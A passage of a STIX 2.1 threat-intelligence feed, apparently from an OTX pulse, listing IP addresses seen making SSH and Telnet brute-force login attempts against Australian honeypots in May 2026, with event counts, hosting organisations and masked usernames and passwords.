      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8167. Organisation(s): V tal.",
      "id": "indicator--c1f046ae-5232-4064-b269-df95f19b8893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.35.7.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:15:11.000Z",
      "valid_until": "2026-06-29T11:15:08.000Z"
    },
    {
      "created": "2026-05-28T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--0bcb668c-6d57-4dfa-8778-0ce4864a3ed4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.55.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:15:11.000Z",
      "valid_until": "2026-06-29T11:15:08.000Z"
    },
    {
      "created": "2026-05-28T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD.. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--223d229f-b153-4023-8caa-4f4a59ed5ef6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:15:11.000Z",
      "valid_until": "2026-06-29T11:15:08.000Z"
    },
    {
      "created": "2026-05-28T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 187. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11042. Organisation(s): NETWORK TRANSIT HOLDINGS LLC. Usernames observed (masked): r**t, 3**********4, s******d, a***n, b****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1****1, 1****6.",
      "id": "indicator--8daf7364-2b23-4fe0-885e-8ebf667b6e8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.73.187.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:15:11.000Z",
      "valid_until": "2026-06-29T11:15:08.000Z"
    },
    {
      "created": "2026-05-28T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): s**n. Passwords observed (masked): .",
      "id": "indicator--35c03d8e-255b-4316-bba9-6a9fcc93f14d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T12:15:14.000Z",
      "valid_until": "2026-06-29T12:15:08.000Z"
    },
    {
      "created": "2026-05-28T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49581. Organisation(s): Tube-Hosting. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--173e1434-ce58-487b-816f-15747669a4ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.131.111.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T12:15:14.000Z",
      "valid_until": "2026-06-29T12:15:08.000Z"
    },
    {
      "created": "2026-05-28T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--09e2cc53-7c79-4d17-968b-90fa3aaed4e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.181.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T12:15:14.000Z",
      "valid_until": "2026-06-29T12:15:08.000Z"
    },
    {
      "created": "2026-05-28T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 56630. Organisation(s): Melbikomas UAB.",
      "id": "indicator--8ead9d78-afd0-46b2-9593-be6c71ee0bdd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.201.67.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T12:15:14.000Z",
      "valid_until": "2026-06-29T12:15:08.000Z"
    },
    {
      "created": "2026-05-28T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--a76a93a5-deda-4a06-ad55-74c692c81571",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.223.0.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T13:15:10.000Z",
      "valid_until": "2026-06-29T13:15:08.000Z"
    },
    {
      "created": "2026-05-28T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134761. Organisation(s): CHINANET NINGXIA province ZHONGWEI IDC network. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--091a2c8b-ad54-4f66-b120-21e886eec936",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.103.204.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T13:15:10.000Z",
      "valid_until": "2026-06-29T13:15:08.000Z"
    },
    {
      "created": "2026-05-28T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich.",
      "id": "indicator--b2054900-70f3-4ea5-8603-5a7cc14625dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T13:15:10.000Z",
      "valid_until": "2026-06-29T13:15:08.000Z"
    },
    {
      "created": "2026-05-28T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--2927c91c-0675-433e-a305-3efeaba9b366",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.222.219.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T14:15:10.000Z",
      "valid_until": "2026-06-29T14:15:08.000Z"
    },
    {
      "created": "2026-05-28T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--284a8590-24f4-46a9-af64-10192f8a6bf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.241.154.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T14:15:10.000Z",
      "valid_until": "2026-06-29T14:15:08.000Z"
    },
    {
      "created": "2026-05-28T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--24f781eb-40bd-442f-b6f8-350fc8591ee5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.238.121.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T14:15:10.000Z",
      "valid_until": "2026-06-29T14:15:08.000Z"
    },
    {
      "created": "2026-05-28T15:17:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d6c95a02-4c67-4da8-845d-8f31a025cb7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T15:17:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.29.226.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:17:05.000Z",
      "valid_until": "2026-06-29T15:15:08.000Z"
    },
    {
      "created": "2026-05-28T15:17:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, a***n, e**c, k***n. Passwords observed (masked): 1*******r, 1**********z, 3***********4, 3**********4, P************#.",
      "id": "indicator--778dd73b-dd3a-4484-9a16-fe91fcbd07d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T15:17:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.18.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:17:05.000Z",
      "valid_until": "2026-06-29T15:15:08.000Z"
    },
    {
      "created": "2026-05-28T15:17:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, a***n, 3**********4, d****n, ***. Passwords observed (masked): 1******8, 1******r, 2****8, 3***********4, 3**********4.",
      "id": "indicator--7462d126-41a4-40df-a19c-f395ae7a8b0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T15:17:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.108.100.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:17:05.000Z",
      "valid_until": "2026-06-29T15:15:08.000Z"
    },
    {
      "created": "2026-05-28T15:17:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 48314. Organisation(s): IP-Projects GmbH & Co. KG. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--c1461aa8-e814-4ca3-a6a7-2010c5ba1269",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T15:17:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.85.218.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:17:05.000Z",
      "valid_until": "2026-06-29T15:15:08.000Z"
    },
    {
      "created": "2026-05-28T15:17:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich.",
      "id": "indicator--9f80e73a-b379-4f04-8a38-b14a21991bf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T15:17:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.227.114.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:17:05.000Z",
      "valid_until": "2026-06-29T15:15:08.000Z"
    },
    {
      "created": "2026-05-28T15:17:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich.",
      "id": "indicator--bd8d06af-db1f-4cda-9676-638e94817759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T15:17:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.227.114.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:17:05.000Z",
      "valid_until": "2026-06-29T15:15:08.000Z"
    },
    {
      "created": "2026-05-28T16:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--64a1d319-e416-46c8-bcaf-b74dd64ab01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T16:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T16:15:24.000Z",
      "valid_until": "2026-06-29T16:15:08.000Z"
    },
    {
      "created": "2026-05-28T16:15:24.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--bc924d6c-f201-4700-87f7-f048710c0335",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T16:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.88.167.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T16:15:24.000Z",
      "valid_until": "2026-06-29T16:15:08.000Z"
    },
    {
      "created": "2026-05-28T16:15:24.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--bd457425-55d5-47ab-91ab-00adec6a49fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T16:15:24.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.53.163.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T16:15:24.000Z",
      "valid_until": "2026-06-29T16:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, a***n, 3**********4, a**x, m**k. Passwords observed (masked): 1******m, 1*******n, 3***********4, 3**********4, A*******6.",
      "id": "indicator--a3601b3a-edbd-4d57-92ef-625428d45768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.58.210.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--8bd5515c-670e-4b6c-b053-7db484de78c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.41.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Heralding. Target ports: 5900. Source country: FI. ASN(s): 207137. Organisation(s): PacketHub S.A.. Passwords observed (masked): 1****6, a***n, d*****t, p******d.",
      "id": "indicator--522a6c34-1b6b-4e7c-b6ac-f8a1c10c78f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.160.100.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6fbcbc62-d35a-4145-8298-8a84d6eae69c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--ebcb6e2a-02db-4ef7-8ea0-a161cd4b12a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.111.228.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, n**s, 3**********4, a***n, d*******r. Passwords observed (masked): 1*******9, 3***********4, 3**********4, A******6, Q********3.",
      "id": "indicator--54d38376-84e4-4b31-84b9-50ffab4fb119",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.77.158.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--7afb6d36-ae24-4da5-abad-3d59ea54fc3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.137.231.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:15:10.000Z",
      "valid_until": "2026-06-29T17:15:08.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC. Usernames observed (masked): h***o, 3**********4, c****r, r**t, ***. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, @*******8.",
      "id": "indicator--5ac18a92-52ff-4af7-a30c-4038d3ddc73c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.243.42.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): c******e.",
      "id": "indicator--3a6c6035-0387-41a4-8a44-5b360ef0cd1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.98.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): 3*******7.",
      "id": "indicator--ab566d6f-2fde-438a-858b-fc3447b75e38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.205.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--cdcd1af9-42e7-4e0d-a9e6-eaaae1490e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.69.215.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 272786. Organisation(s): X99 INTERNET. Usernames observed (masked): r**t. Passwords observed (masked): c******e.",
      "id": "indicator--fd4b9010-e20a-4127-aa19-8dffa164032b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.14.87.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
